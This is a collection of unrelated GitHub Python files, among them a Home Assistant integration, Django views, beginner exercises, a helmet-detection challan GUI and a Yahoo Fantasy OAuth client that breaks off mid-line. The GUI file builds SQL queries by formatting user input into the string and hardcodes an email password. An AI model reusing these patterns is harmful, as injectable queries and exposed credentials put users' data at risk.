+{"seq_id":"32534958295","text":"\"\"\"Number platform for EV Smart Charging.\"\"\"\nimport logging\n\nfrom homeassistant.components.number import NumberEntity\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers.entity import EntityCategory\n\nfrom .const import (\n    CONF_MAX_PRICE,\n    CONF_MIN_SOC,\n    CONF_PCT_PER_HOUR,\n    DOMAIN,\n    ENTITY_NAME_CONF_PCT_PER_HOUR_NUMBER,\n    ENTITY_NAME_CONF_MAX_PRICE_NUMBER,\n    ENTITY_NAME_CONF_MIN_SOC_NUMBER,\n    ICON_BATTERY_50,\n    ICON_CASH,\n    NUMBER,\n)\nfrom .coordinator import EVSmartChargingCoordinator\nfrom .entity import EVSmartChargingEntity\nfrom .helpers.general import get_parameter\n\n_LOGGER = logging.getLogger(__name__)\n\n\nasync def async_setup_entry(\n    hass: HomeAssistant, entry, async_add_devices\n):  # pylint: disable=unused-argument\n    \"\"\"Setup number platform.\"\"\"\n    _LOGGER.debug(\"EVSmartCharging.number.py\")\n    coordinator = hass.data[DOMAIN][entry.entry_id]\n    numbers = []\n    numbers.append(EVSmartChargingNumberChargingSpeed(entry, coordinator))\n    numbers.append(EVSmartChargingNumberPriceLimit(entry, coordinator))\n    numbers.append(EVSmartChargingNumberMinSOC(entry, coordinator))\n    async_add_devices(numbers)\n\n\nclass EVSmartChargingNumber(EVSmartChargingEntity, NumberEntity):\n    \"\"\"EV Smart Charging switch class.\"\"\"\n\n    _attr_native_value: float | None = None  # To support HA 2022.7\n\n    def __init__(self, entry, coordinator: EVSmartChargingCoordinator):\n        _LOGGER.debug(\"EVSmartChargingNumber.__init__()\")\n        super().__init__(entry)\n        self.coordinator = coordinator\n        id_name = self._attr_name.replace(\" \", \"\").lower()\n        self._attr_unique_id = \".\".join([entry.entry_id, NUMBER, id_name])\n\n    async def async_set_native_value(self, value: float) -> None:\n        \"\"\"Set new value.\"\"\"\n        self._attr_native_value = value\n\n\nclass EVSmartChargingNumberChargingSpeed(EVSmartChargingNumber):\n    \"\"\"EV Smart Charging active switch class.\"\"\"\n\n    _attr_name = ENTITY_NAME_CONF_PCT_PER_HOUR_NUMBER\n    _attr_entity_category = EntityCategory.CONFIG\n    _attr_native_min_value = 0.1\n    _attr_native_max_value = 100.0\n    _attr_native_step = 0.1\n\n    def __init__(self, entry, coordinator: EVSmartChargingCoordinator):\n        _LOGGER.debug(\"EVSmartChargingNumberChargingSpeed.__init__()\")\n        super().__init__(entry, coordinator)\n        if self.value is None:\n            self._attr_native_value = get_parameter(entry, CONF_PCT_PER_HOUR)\n            self.update_ha_state()\n\n    async def async_set_native_value(self, value: float) -> None:\n        \"\"\"Set new value.\"\"\"\n        await super().async_set_native_value(value)\n        self.coordinator.charging_pct_per_hour = value\n        await self.coordinator.update_sensors()\n\n\nclass EVSmartChargingNumberPriceLimit(EVSmartChargingNumber):\n    \"\"\"EV Smart Charging apply limit switch class.\"\"\"\n\n    _attr_name = ENTITY_NAME_CONF_MAX_PRICE_NUMBER\n    _attr_icon = ICON_CASH\n    _attr_entity_category = EntityCategory.CONFIG\n    _attr_native_min_value = 0.0\n    _attr_native_max_value = 10000.0\n    _attr_native_step = 0.01\n\n    def __init__(self, entry, coordinator: EVSmartChargingCoordinator):\n        _LOGGER.debug(\"EVSmartChargingNumberPriceLimit.__init__()\")\n        super().__init__(entry, coordinator)\n        if self.value is None:\n            self._attr_native_value = get_parameter(entry, CONF_MAX_PRICE)\n            self.update_ha_state()\n\n    async def async_set_native_value(self, value: float) -> None:\n        \"\"\"Set new value.\"\"\"\n        await super().async_set_native_value(value)\n        self.coordinator.max_price = value\n        await self.coordinator.update_sensors()\n\n\nclass EVSmartChargingNumberMinSOC(EVSmartChargingNumber):\n    \"\"\"EV Smart Charging continuous switch class.\"\"\"\n\n    _attr_name = ENTITY_NAME_CONF_MIN_SOC_NUMBER\n    _attr_icon = ICON_BATTERY_50\n    _attr_entity_category = EntityCategory.CONFIG\n    _attr_native_min_value = 0.0\n    _attr_native_max_value = 100.0\n    _attr_native_step = 1.0\n\n    def __init__(self, entry, coordinator: EVSmartChargingCoordinator):\n        _LOGGER.debug(\"EVSmartChargingNumberMinSOC.__init__()\")\n        super().__init__(entry, coordinator)\n        if self.value is None:\n            self._attr_native_value = get_parameter(entry, CONF_MIN_SOC)\n            self.update_ha_state()\n\n    async def async_set_native_value(self, value: float) -> None:\n        \"\"\"Set new value.\"\"\"\n        await super().async_set_native_value(value)\n        self.coordinator.number_min_soc = value\n        await self.coordinator.update_sensors()\n","repo_name":"cnrd/ev_smart_charging","sub_path":"custom_components/ev_smart_charging/number.py","file_name":"number.py","file_ext":"py","file_size_in_byte":4543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"71027599689","text":"x = [ [5,2,3], [10,8,9] ] \nstudents = [\n     {'first_name':  'Michael', 'last_name' : 'Jordan'},\n     {'first_name' : 'John', 'last_name' : 'Rosales'}\n]\nsports_directory = {\n    'basketball' : ['Kobe', 'Jordan', 'James', 'Curry'],\n    'soccer' : ['Messi', 'Ronaldo', 'Rooney']\n}\nz = [ {'x': 10, 'y': 20} ]\n\n# How would you change the value 10 in x to 15?  Once you're done x should then be [ [5,2,3], [15,8,9] ].  \nx[1][1]=10\nprint(x)\n# How would you change the last_name of the first student from 'Jordan' to \"Bryant\"?\nfor i in range(len(students)):\n    if students[i]['last_name'] == 'Jordan':\n        students[i]['last_name'] = 'Bryant'\n        print(students[i])\n# For the sports_directory, how would you change 'Messi' to 'Andres'?\nfor i in range(len(sports_directory['soccer'])):\n    if sports_directory['soccer'][i] =='Messi':\n        sports_directory['soccer'][i]='Andres'\nprint(sports_directory)\n\n\n# For z, how would you change the value 20 to 30?\nfor i in range(len(z)):\n    if z[i]['y'] == 20:\n        z[i]['y'] =30\n    print(z)","repo_name":"Python-November-2018/harshul-laiwala-Py1","sub_path":"01-python/02-python/01-required/07-functions_intermediate_2.py","file_name":"07-functions_intermediate_2.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21859876218","text":"import sys\r\nimport heapq\r\nfrom collections import defaultdict\r\n\r\ninput = sys.stdin.readline\r\n\r\nn, v, e = map(int, input().split())\r\nkist, food = map(int, input().split())\r\n\r\nhouses = list(map(int, input().split()))\r\n\r\ngraph = defaultdict(list)\r\n\r\nfor _ in range(e):\r\n    a, b, l = map(int, input().split())\r\n    graph[a].append((b, l))\r\n    graph[b].append((a, l))\r\n    \r\ndef dijkstra(start):\r\n    dist = [float('inf')] * (v+1)\r\n    dist[start] = 0\r\n    \r\n    heap = [(0, start)]\r\n    while heap:\r\n        d, node = heapq.heappop(heap)\r\n        \r\n        if d > dist[node]:\r\n            continue\r\n        \r\n        for adj_node, adj_d in graph[node]:\r\n            new_dist = d + adj_d\r\n            \r\n            if new_dist < dist[adj_node]:\r\n                dist[adj_node] = new_dist\r\n                heapq.heappush(heap, (new_dist, adj_node))\r\n    \r\n    to_kist, to_food = dist[kist], dist[food]\r\n    if to_kist == float('inf'):\r\n        to_kist = -1\r\n        \r\n    if to_food == float('inf'):\r\n        to_food = -1\r\n        \r\n    return to_kist + to_food\r\n\r\nanswer = 0\r\nfor house in houses:\r\n    answer += dijkstra(house)\r\n    \r\nprint(answer)","repo_name":"KimChanw/Python_Algorithm","sub_path":"백준/Gold/12834. 주간 미팅/주간 미팅.py","file_name":"주간 미팅.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18737843390","text":"import sqlite3\r\nfrom reportlab.lib.pagesizes import letter\r\nfrom reportlab.pdfgen import canvas\r\nimport datetime\r\nimport os\r\nfrom tkinter import * \r\nfrom tkinter.ttk import *\r\nfrom reportlab.lib.pagesizes import letter\r\nimport datetime\r\nimport smtplib\r\nfrom pdf_mail import sendpdf\r\n\r\nmaster = Tk() \r\n  \r\nmaster.geometry(\"400x400\") \r\n  \r\n \r\ndef openNewWindow(): \r\n       \r\n    newWindow = Toplevel(master) \r\n\r\n    newWindow.title(\"Database entry\") \r\n\r\n    newWindow.geometry(\"400x400\") \r\n\r\n    l0 = Label(newWindow, text =\"Database entry\")\r\n    l0.grid(row=0,column=0)\r\n    l1 = Label(newWindow, text =\"License plate\")\r\n    l1.grid(row=1,column=0)\r\n    e1 = Entry(newWindow)\r\n    e1.grid(row=1,column=1)\r\n    \r\n    l2 = Label(newWindow, text =\"Name on registration\")\r\n    l2.grid(row=2,column=0)\r\n    e2 = Entry(newWindow)\r\n    e2.grid(row=2,column=1)\r\n\r\n    l3 = Label(newWindow, text =\"Address\")\r\n    l3.grid(row=3,column=0)\r\n    e3 = Entry(newWindow)\r\n    e3.grid(row=3,column=1)\r\n\r\n    l4 = Label(newWindow, text =\"Email\")\r\n    l4.grid(row=4,column=0)\r\n    e4 = Entry(newWindow)\r\n    e4.grid(row=4,column=1)\r\n    \r\n    btn4 = Button(newWindow,  \r\n             text =\"Click to enter records\",  \r\n             command = lambda : enter_records(e1,e2,e3,e4)) \r\n    btn4.grid(row=5,column=0)\r\n          \r\n          \r\n          \r\ndef enter_records(e1,e2,e3,e4):\r\n    conn = sqlite3.connect('vehicledata.db')\r\n\r\n    cursor = conn.cursor()\r\n    \r\n    cursor.execute(\"insert into vehicle values('{}','{}','{}','{}')\".format(e1.get(),e2.get(),e3.get(),e4.get()))\r\n    \r\n\r\n    conn.commit()\r\n    print(\"Records added...\")\r\n    conn.close()\r\n\r\n          \r\n    \r\ndef run_program():\r\n\r\n    os.system('py detect.py')    \r\n            \r\ndef generate_challans():\r\n    con=sqlite3.connect('vehicledata.db')\r\n\r\n    cursor=con.cursor()\r\n    lplate=input(\"Enter the number plate to generate chalan:\")\r\n    cursor.execute(\"select * from vehicle where plate='{}';\".format(lplate))\r\n    result=cursor.fetchone();\r\n    #print(result)\r\n    if result is None:\r\n        print(\"No data available. Add the new record\")\r\n        #break\r\n    else:\r\n        name=result[1]\r\n        address=result[2]\r\n        email=result[3]\r\n\r\n    con.close()\r\n\r\n    PATH_TO_PDF ='D:/sample.pdf'\r\n    can=canvas.Canvas(PATH_TO_PDF)\r\n    can.setLineWidth(30)\r\n    can.setFont('Helvetica', 12)\r\n    \r\n    can.drawString(30,750,'CHALLAN')\r\n    can.drawString(30,730,'TRAFFIC POLICE DEPARTMENT, KAKINADA')\r\n    can.drawString(30,710,str(datetime.datetime.now()))\r\n    #can.line(10,707,580,707)\r\n\r\n    can.drawString(30,650,'VIOLATION:')\r\n    can.drawString(300,650,\"NOT WEARING HELMET\")\r\n\r\n    can.drawString(30,600,'LICENSE PLATE:')\r\n    can.drawString(300,600,lplate)\r\n\r\n    can.drawString(30,550,'NAME:')\r\n    can.drawString(300,550,name)\r\n\r\n    can.drawString(30,500,'ADDRESS:')\r\n    can.drawString(300,500,address)\r\n\r\n    can.drawString(30,450,'EMAIL:')\r\n    can.drawString(300,450,email)\r\n        \r\n    can.drawString(30,400,'FINE:')\r\n    can.drawString(300,400,'Rs. 500')\r\n      \r\n    can.save()\r\n    \r\n    print(\"Challan generated.\")\r\n    sender_email_address = \"samples123.1234@gmail.com\"\r\n    receiver_email_address = email\r\n    sender_email_password = \"8886897577\"\r\n    subject_of_email = \"E-Challan for violating the traffic rules\"\r\n    body_of_email = \"Fine to be paid\"\r\n    filename = \"sample\"\r\n    location_of_file = 'D:/'\r\n    k = sendpdf(sender_email_address, \r\n            receiver_email_address,\r\n            sender_email_password,\r\n            subject_of_email,\r\n            body_of_email,\r\n            filename,\r\n            location_of_file)\r\n    k.email_send()\r\n    \r\n    print(\"Mail sent\")\r\n  \r\n  \r\nlabel = Label(master,  \r\n              text =\"This is the main window\") \r\n  \r\nlabel.pack(pady = 10) \r\n  \r\n\r\nbtn = Button(master,  \r\n             text =\"Click to open database entry\",  \r\n             command = openNewWindow) \r\nbtn.pack(pady = 10) \r\n\r\n\r\nbtn2 = Button(master,  \r\n             text =\"Click to run helmet detection program\",  \r\n             command = run_program) \r\nbtn2.pack(pady = 10) \r\n  \r\n  \r\nbtn3 = Button(master,  \r\n             text =\"Click to generate challans\",  \r\n             command = generate_challans) \r\nbtn3.pack(pady = 10) \r\n\r\n\r\n","repo_name":"meghana1710/real_time_object_detection_system-helmet-detection-","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":4231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30939166813","text":"from django.contrib.auth.models import Group, Permission\n\n\ndef add_group_permissions():\n    # Support group\n    group, created = Group.objects.get_or_create(name='support_user') \n    if created:\n        can_view_all_tickets = Permission.objects.get(codename='can_view_all_tickets')\n        group.permissions.add(can_view_all_tickets)\n\n        can_change_status = Permission.objects.get(codename='can_change_status')\n        group.permissions.add(can_change_status)\n\n        can_message_in_different_tickets = Permission.objects.get(codename='can_message_in_different_tickets')\n        group.permissions.add(can_message_in_different_tickets)\n\n\nadd_group_permissions()\n","repo_name":"yurymarozau/support","sub_path":"support/src/support_app/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41503563653","text":"\n# -*- coding: utf-8 -*-\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\nfrom .models import Product \nfrom .serializers import * \n\n@csrf_exempt\n@api_view(['GET', 'POST'])\ndef product_list(request):\n    \"\"\"\n    List  products, or create a new product.\n    \"\"\"\n    if request.method == 'GET':\n        data = []\n        nextPage = 1\n        previousPage = 1\n        products = Product.objects.all()\n        page = request.GET.get('page', 1)\n        paginator = Paginator(products, 10)\n        try:\n            data = paginator.page(page)\n        except PageNotAnInteger:\n            data = paginator.page(1)\n        except EmptyPage:\n            data = paginator.page(paginator.num_pages)\n\n        serializer = ProductSerializer(data,context={'request': request} ,many=True)\n        if data.has_next():\n            nextPage = data.next_page_number()\n        if data.has_previous():\n            previousPage = data.previous_page_number()\n        \n        return Response({'data': serializer.data , 'count': paginator.count, 'numpages' : paginator.num_pages, 'nextlink': '/api/products/?page=' + str(nextPage), 'prevlink': '/api/products/?page=' + str(previousPage)})\n\n    elif request.method == 'POST':\n        serializer = ProductSerializer(data=request.data)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data, status=status.HTTP_201_CREATED)\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n@api_view(['GET', 'PUT', 'DELETE'])\ndef product_detail(request, pk):\n    \"\"\"\n    Retrieve, update or delete a product instance.\n    \"\"\"\n    try:\n        product = Product.objects.get(pk=pk)\n    except Product.DoesNotExist:\n        return Response(status=status.HTTP_404_NOT_FOUND)\n\n    if request.method == 'GET':\n        serializer = ProductSerializer(product,context={'request': request})\n        return Response(serializer.data)\n\n    elif request.method == 'PUT':\n        serializer = ProductSerializer(product, data=request.data,context={'request': request})\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data)\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n    elif request.method == 'DELETE':\n        product.delete()\n        return Response(status=status.HTTP_204_NO_CONTENT)\n\n","repo_name":"techiediaries/django-auth0-vue","sub_path":"catalog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2557,"program_lang":"python","lang":"en","doc_type":"code","stars":110,"dataset":"github-code","pt":"16"}
+{"seq_id":"14086201329","text":"from openpyxl import load_workbook\nfrom openpyxl.styles import PatternFill, Border, Side, Alignment, Font\n\nfont_body = Font(name='黑体', size=12, bold=False, color='404040')\nalignment_left = Alignment(horizontal='left', vertical='bottom', wrap_text=False, shrink_to_fit=False)\nbd1 = Side(border_style='mediumDashDot', color='000000')\nbd2 = Side(border_style='thin', color='000000')\nborder = Border(left=bd2, right=bd2, top=bd1, bottom=bd1)\n\n# 定义title相关的样式\nfont_title = Font(name='黑体', size=18, bold=True, color='FFFFFF')\nfill_title = PatternFill(fill_type='solid', fgColor='0F4C81')\nalignment_title = Alignment(horizontal='center', vertical='center', wrap_text=False, shrink_to_fit=False)\n\n# 定义重要内容的styles\nfont_imp = Font(name='fira', size=16, bold=True, color='000000')\nfont_imp_red = Font(name='fira', size=16, bold=True, color='ff0000')\nfill_imp = PatternFill(fill_type='solid', fgColor='F3D5AD')\n\nwb = load_workbook('./excel_files/report_fixed.xlsx')\n\nfor sheet in wb.worksheets:\n    if sheet.title in ['汇总', 'top10']:\n        continue\n    sheet.sheet_view.zoomScale = 200\n\n    # 设置字体到所有的cell上面\n    for row in sheet.rows:\n        for cell in row:\n            cell.font = font_body\n            cell.alignment = alignment_left\n            cell.border = border\n    # 第一列的样式设置为title\n    for cell in sheet[1]:\n        cell.font = font_title\n        cell.fill = fill_title\n        cell.alignment = alignment_title\n\n    # 设置列宽和title行高\n    sheet.column_dimensions['E'].width = 25\n    sheet.row_dimensions[1].height = 30\n    for column_name in 'ABCDFG':\n        sheet.column_dimensions[column_name].width = 15\n\n    # 累计确诊人数的style\n    for row_num in range(2, sheet.max_row + 1):\n        sheet.row_dimensions[row_num].height = 20\n\n        cell_confirmed = sheet['E{}'.format(row_num)]\n        cell_confirmed.font = font_imp\n        cell_confirmed.fill = fill_imp\n        cell_confirmed.number_format = '#,##0'\n\n        if sheet.cell(column=5, row=row_num).value > 10000:\n            sheet['C{}'.format(row_num)].font = font_imp_red\n\nwb.save('./excel_files/report_formatted.xlsx')\n","repo_name":"Akagilnc/python1.0","sub_path":"lesson7.py","file_name":"lesson7.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8041900362","text":"\"\"\"IOPins channels of board protocol.\"\"\"\n\n# Standard imports\nimport asyncio\nimport logging\nfrom abc import abstractmethod\nfrom typing import Iterable, List, Optional\n\n# Local package imports\nfrom lhrhost.messaging.presentation import Message\nfrom lhrhost.protocol import Command, ProtocolHandlerNode\nfrom lhrhost.util.interfaces import InterfaceClass\nfrom lhrhost.util.printing import Printer\n\n# Logging\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.NullHandler())\n\n\n# Receipt of IOPins\n\nclass Receiver(object, metaclass=InterfaceClass):\n    \"\"\"Interface for a class which receives IOPins/* events.\"\"\"\n\n    @abstractmethod\n    async def on_io_pin_digital(self, pin: int, payload: int) -> None:\n        \"\"\"Receive and handle a IOPins/Digital/* response.\"\"\"\n        pass\n\n    @abstractmethod\n    async def on_io_pin_analog(self, pin: int, payload: int) -> None:\n        \"\"\"Receive and handle an IOPins/Analog/* response.\"\"\"\n        pass\n\n\n# Type-checking names\n_Receivers = Iterable[Receiver]\n\n\n# Printing\n\nclass Printer(Receiver, Printer):\n    \"\"\"Simple class which prints received IOPins/* responses.\"\"\"\n\n    async def on_io_pin_digital(self, pin: int, payload: int) -> None:\n        \"\"\"Receive and handle a IOPins/Digital/* response.\"\"\"\n        self.print('Pin {}: {}'.format(\n            pin, 'HIGH' if payload else 'LOW'\n        ))\n\n    async def on_io_pin_analog(self, pin: int, payload: int) -> None:\n        \"\"\"Receive and handle an IOPins/Analog/* response.\"\"\"\n        self.print('Pin A{}: {}'.format(pin, payload))\n\n\nclass TypeProtocol(ProtocolHandlerNode):\n    \"\"\"Reads IO pins of the specified type.\"\"\"\n\n    def __init__(self, channel, channel_name, **kwargs):\n        \"\"\"Initialize member variables.\"\"\"\n        super().__init__(channel, channel_name, **kwargs)\n        self.response_receivers = self.parent.response_receivers\n\n    async def notify_response_receivers(self, pin: int, payload: int) -> None:\n        \"\"\"Notify all receivers of received IOPins/_/_ response.\"\"\"\n        tasks = []\n        for receiver in self.response_receivers:\n            if self.node_channel == 'Analog':\n                tasks.append(receiver.on_io_pin_analog(pin, payload))\n            elif self.node_channel == 'Digital':\n                tasks.append(receiver.on_io_pin_analog(pin, payload))\n            else:\n                raise NotImplementedError(\n                    'Unsupported channel {}!'.format(self.channel_path)\n                )\n        await asyncio.gather(*tasks)\n\n    # Commands\n\n    async def request(self, pin: int):\n        \"\"\"Send a IOPins/_/_ request command to message receivers.\"\"\"\n        # TODO: validate the pin number\n        message = Message('{}{}'.format(self.name_path, pin))\n        await self.issue_command(Command(message))\n\n    # Implement ChannelHandlerTreeNode\n\n    async def on_received_message(self, channel_name_remainder, message):\n        \"\"\"Handle a message recognized as being handled by the node.\"\"\"\n        if message.payload is None:\n            return\n        await self.notify_response_receivers(channel_name_remainder, message.payload)\n\n\nclass Protocol(ProtocolHandlerNode):\n    \"\"\"Reads digital and analog IO pins.\"\"\"\n\n    def __init__(\n        self, response_receivers: Optional[_Receivers]=None, **kwargs\n    ):\n        \"\"\"Initialize member variables.\"\"\"\n        super().__init__('IOPins', 'i', **kwargs)\n\n        self.response_receivers: List[Receiver] = []\n        if response_receivers:\n            self.response_receivers = [receiver for receiver in response_receivers]\n\n        self.analog = TypeProtocol('Analog', 'a', parent=self, **kwargs)\n        self.digital = TypeProtocol('Digital', 'd', parent=self, **kwargs)\n\n    # Implement ProtocolHandlerNode\n\n    @property\n    def children_list(self):\n        \"\"\"Return a list of child nodes.\"\"\"\n        return [self.analog, self.digital]\n","repo_name":"ethanjli/liquid-handling-robotics","sub_path":"lhrhost/protocol/board/io_pins.py","file_name":"io_pins.py","file_ext":"py","file_size_in_byte":3858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25758732721","text":"from R_Tree_To_compile.build.R_Tree import R_Tree, Rect\nimport pygame as pg\nimport random\nimport colorsys\n\ndef draw_tree(t: R_Tree,screen):\n    s = t.to_string()\n\n    ls = s.split('\\n')[:-1]\n    nodes = [{\"level\": int(i.split()[0]), \"rect\": [float(i.split()[1].replace('((', '').replace(',', '')), float(\n        i.split()[2].replace('(', '').replace(')', '').replace(',', '')),\n                                                   float(i.split()[3].replace('(', '').replace(',', '')), float(\n            i.split()[4].replace('(', '').replace(')', '').replace(',', ''))]} for i in ls]\n    l = max(10, nodes[-1]['level'])\n    max_level = nodes[-1]['level']\n    nodes = sorted(nodes, key=lambda a: a['level'])\n    indent = 0\n    border = 1\n    for node in nodes:\n        pg.draw.rect(screen, [j * 255 for j in colorsys.hsv_to_rgb((max_level - node['level']) / (l * 1.1), 1, 1)], (\n            node['rect'][0] + node['level'] * indent + border, node['rect'][1] + node['level'] * indent + border,\n            node['rect'][2] - node['rect'][0] - node['level'] * 2 * indent - border * 2,\n            node['rect'][3] - node['rect'][1] - node['level'] * 2 * indent - border * 2), border_radius=4)\n    for node in nodes:\n        pg.draw.rect(screen, (0, 0, 0),\n                     (node['rect'][0] + node['level'] * indent, node['rect'][1] + node['level'] * indent,\n                      node['rect'][2] - node['rect'][0] - node['level'] * 2 * indent,\n                      node['rect'][3] - node['rect'][1] - node['level'] * 2 * indent), border, border_radius=4)\n\n\ndef insert(t, ps, pf):\n    t.insert(Rect(min(ps[0], pf[0]), min(ps[1], pf[1]), max(ps[0], pf[0]), max(ps[1], pf[1])))\n\n\ndef search(t, ps, pf):\n    res = t.search(Rect(min(ps[0], pf[0]), min(ps[1], pf[1]), max(ps[0], pf[0]), max(ps[1], pf[1])))\n    return list(map(str, res))\n\n\ndef draw_serched_nodes(nodes,screen):\n    rects = [[float(i.split()[0].replace('((', '').replace(',', '')),\n              float(i.split()[1].replace('(', '').replace(')', '').replace(',', '')),\n              float(i.split()[2].replace('(', '').replace(',', '')),\n              float(i.split()[3].replace('(', '').replace(')', '').replace(',', ''))] for i in nodes]\n    for r in rects:\n        pg.draw.rect(screen, (150, 0, 200), [r[0], r[1], r[2] - r[0], r[3] - r[1]], 5, border_radius=4)\n\n\ndef print_text(srch, font,screen):\n    if srch:\n        textsurface = font.render('search', False, (30, 0, 0))\n    else:\n        textsurface = font.render('insert', False, (30, 0, 0))\n    screen.blit(textsurface, (0, 0))","repo_name":"AntoshaGodx/aaf-labs-2021","sub_path":"plakhtii_fi-92_shevtsova_fi-92/visualisation.py","file_name":"visualisation.py","file_ext":"py","file_size_in_byte":2545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26970289798","text":"import io\r\nimport os\r\nfrom .. import loader \r\nfrom PIL import Image\r\nfrom gsbl.stick_bug import StickBug\r\n\r\n\r\ndef register(cb):\r\n    cb(GSBLMod()) \r\n\r\nclass GSBLMod(loader.Module):\r\n    \"\"\"Фановый, мемный модуль.\"\"\"\r\n    strings = {'name': 'Get-Stick-Bugged-Lol'} \r\n    \r\n    async def gsblcmd(self, event):\r\n        \"\"\"Используй .gsbl <реплай на картинку/стикер>.\"\"\"\r\n        try:\r\n            reply = await event.get_reply_message()\r\n            if not reply:\r\n                return await event.edit(\"Нет реплая на картинку/стикер.\")\r\n            await event.edit(\"Минуточку...\")\r\n            im = io.BytesIO()\r\n            await event.edit(\"Скачиваю...\")\r\n            await event.client.download_file(reply, im)\r\n            await event.edit(\"Обрабатываю...\")\r\n            im = Image.open(im)\r\n            sb = StickBug(im)\r\n            sb.save_video(\"get_stick_bugged_lol.mp4\")\r\n            await event.edit(\"Отправляю...\")\r\n            await event.client.send_file(event.to_id, open(\"get_stick_bugged_lol.mp4\", \"rb\"), reply_to=reply)\r\n            os.remove(\"get_stick_bugged_lol.mp4\")\r\n            await event.delete()\r\n        except:\r\n            return await event.edit(\"Это не картинка/стикер.\")","repo_name":"Fl1yd/FTG-Modules","sub_path":"gsbl.py","file_name":"gsbl.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"ru","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"26278273751","text":"import matplotlib.pyplot as plt\n\nnombresMujeres = ('Maria Zlatkova','Kristina','Alejandra','.Eva')\n\n#los nombres deben de tener un valor para que podamos hacer la grafica\ncantidadPais = (100,300,500,533)\n\n#para que la grafica se visualice mejor le vamos a dar un color\ncolores = ('crimson','orange','blue','red')\n\n\n#resaltar un texto con respecto a los demas\notrosTextos = (0.1,0,0,0)\n\n\n#quitar las barras de herramientas\nplt.rcParams['toolbar'] = 'None'\n\n\n#ultimo valor representa a lo que se guarda en el porcentaje\n_, _, valoresPorcentaje = plt.pie(cantidadPais,colors=colores,labels=nombresMujeres,autopct='%1.1f%%',explode=otrosTextos,startangle=90)\n\nfor v in valoresPorcentaje:\n\tv.set_color('white')\n\n\n#para que realmente sea un circulo\nplt.axis('equal')\n\n\nplt.title('Nombre de mujeres por pais')\n\n#esto es para dibujar los nombres de las mujeres\n#plt.legend(labels=nombresMujeres)\n\n\n#guardar la grafica como imagen\nplt.savefig('nombresMujeres.png')\n\n\nplt.show()","repo_name":"santoslopez/Python","sub_path":"graficar.py","file_name":"graficar.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15742038898","text":"import json\nimport os\nimport requests\nimport webbrowser\n\nclass YahooFantasySports:\n    def __init__(self, credentials_file, league_id=None):\n        self.credentials_file = open(credentials_file)\n        self.credentials = json.load(self.credentials_file)   \n        self.credentials_file.close()\n        \n        self.authorize_url = 'https://api.login.yahoo.com/oauth2/request_auth'\n        self.access_token_url = 'https://api.login.yahoo.com/oauth2/get_token'\n        \n        self.client_id = self.credentials['client_id']\n        self.client_secret = self.credentials['client_secret']\n        \n        self.redirect_uri = 'oob'\n        \n        self.league_id = league_id\n        self.base_url = 'https://fantasysports.yahooapis.com/fantasy/v2'\n        \n        tokens = self.retrieve_tokens()\n        \n        if tokens:\n            self.set_tokens(tokens)\n        else:\n            self.get_initial_tokens()\n                   \n    def get_initial_tokens(self):\n        data = {\n            'client_id': self.client_id,\n            'client_secret': self.client_secret,\n            'redirect_uri': 'oob',\n\n            'response_type': 'code',\n            'language': 'en-us',\n        }\n\n        res = requests.post(self.authorize_url, params=data, headers={ 'Content-Type': 'application/json'})\n        webbrowser.open(res.url)\n        \n        code = input('Enter code: ')\n        \n        data = {\n            'client_id': self.client_id,\n            'client_secret': self.client_secret,\n            'redirect_uri': 'oob',\n            'code': code,\n            'grant_type': 'authorization_code',\n        }\n\n        response = requests.post(self.access_token_url, data=data)\n\n        self.set_tokens(response.json())\n        self.cache_tokens()\n\n        \n    def set_tokens(self, data):\n        self.access_token = data['access_token']\n        self.refresh_token = data['refresh_token']\n        \n    def cache_tokens(self):\n        tokens = {\n            'access_token': self.access_token,\n            'refresh_token': self.refresh_token,\n        }\n        with open('.tokens.json', 'w') as f:\n            f.write(json.dumps(tokens))\n            \n    def retrieve_tokens(self):\n        if not os.path.exists('.tokens.json'):\n            return None\n        \n        with open('.tokens.json', 'r') as f:\n            tokens = json.loads(f.read())\n        return tokens\n\n    def refresh_tokens(self):\n        data = {\n            'client_id': self.client_id,\n            'client_secret': self.client_secret,\n            'redirect_uri': 'oob',\n            'refresh_token': self.refresh_token,\n            'grant_type': 'refresh_token',\n        }\n        response = requests.post(self.access_token_url, data=data)\n\n        self.set_tokens(response.json())\n        self.cache_tokens()\n        \n    def get(self, path):\n        url = '{}/{}'.format(self.base_url, path)\n        response = requests.get(url, params={'format':'json'}, headers={ 'Authorization': 'Bearer {}'.format(self.access_token)})\n        return response.json()\n        \n    def get_standings(self):\n        path = 'leagues;league_keys=nfl.l.{}/standings'.format(self.league_id)\n        return self.get(path)\n    \n    def get_roster(self, team_id):\n        path = 'team/nfl.l.{}.t.{}/roster/players'.format(self.league_id, team_id)\n        return 